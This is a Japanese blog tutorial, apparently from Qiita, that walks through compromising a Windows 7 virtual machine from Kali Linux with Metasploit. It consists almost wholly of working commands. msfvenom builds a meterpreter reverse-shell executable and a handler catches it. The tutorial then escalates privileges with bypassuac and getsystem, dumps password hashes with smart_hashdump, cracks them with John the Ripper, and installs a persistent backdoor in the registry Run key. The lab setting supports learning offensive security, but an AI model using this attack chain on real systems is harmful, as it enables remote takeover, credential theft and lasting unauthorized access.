0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Kali linuxからWindows7にリバースシェルで接続

Posted at

環境

Kali LinuxのMetasploit6で、Windows7にリバースシェルで接続する。
両方とも、Virtual Boxにインストールし、ネットワークは、ホストオンリーアダプタとする。
<ipaddress>は、Kali LinuxのIPアドレス。
<port>は、Kali Linuxの待ち受けポート。デフォルトは、4444。

ペイロードを作成する

Metasploitを起動する。

shell
msfconsole

Kali Linuxで、Windows7で実行させるためのペイロードを作成する。

msf6
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ipaddress> LPORT=<port> -f exe -o ./reverse_shell.exe

Kali Linuxの/rootにペイロードが作成される。
ペイロードは、Windows7にダウンロードさせて、実行させる必要がある。

Kali Linuxの待ち受け

msf6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ipaddress>
show options
exploit

Kali Linuxが待ち受けている時に、Windows7のペイロードが実行すると、リバースシェルが確立する。

特権昇格

リバースシェルが確立すると、Windowsのコマンド待ちになる。
一旦、セッションをバックグラウンドにして、特権昇格のモジュールを実行する。

msf6
background
sessions -i
use exploit/windows/local/bypassuac
set SESSION 1
set LHOST <ipaddress>
show options
exploit

Windows7で、ペイロードを実行したユーザがadmins groupでないと、以下のエラーで実行できない。
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
成功すると、別セッションで接続される。

msf6
getuid
getsystem -t 1
getuid

パスワードハッシュの取得

msf6
run hashdump

Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
Example: run post/windows/gather/smart_hashdump OPTION=value [...]
非推奨とのことなので、推奨されているpost/windows/gather/smart_hashdumpを実行する。

msf6
background
use post/windows/gather/smart_hashdump
sessions -i
set SESSION 2
show options
exploit

表示されたパスワードハッシュをhash.txtに保存する。

オフラインパスワードクラッカー

オフラインで取得したパスワードハッシュを解析する。
辞書リストにないパスワードは解析できない。

shell
john hash.txt --show
john --wordlist=/usr/share/john/password.lst --format:nt hash.txt
john hash.txt --show --format=NT

パスワードを解析したユーザーが表示される。

システム情報収集

msf6
sessions 2
run scraper

shellの呼び出し

msf6
shell

バックドアの永続化

自動でペイロードが実行されるようにする。

msf6
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p <port> -r <ipaddress>

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
非推奨とのことなので、推奨されているexploit/windows/local/persistenceを実行する。
特権昇格したセッションで実行した場合、ユーザーの不一致のせいか
C:\Users<user name>\AppData\Local\Temp\にvbsは保存されたが、レジストリの自動起動は設定されなかった。
昇格前のセッションで実行する。
HKLMではなく、HKCUに自動起動が設定された。

msf6
background
sessions 1
run exploit/windows/local/persistence LHOST=<ipaddress> LPORT=<port>

自動起動を手動で設定する場合

msf6
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\Users\<user name>\AppData\Local\Temp\<vbs名>'

不要なセッションを削除する。

msf6
sessions -i
sessions -k 1

Windowsタスクマネージャーのreverse_shell.exeが消える。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?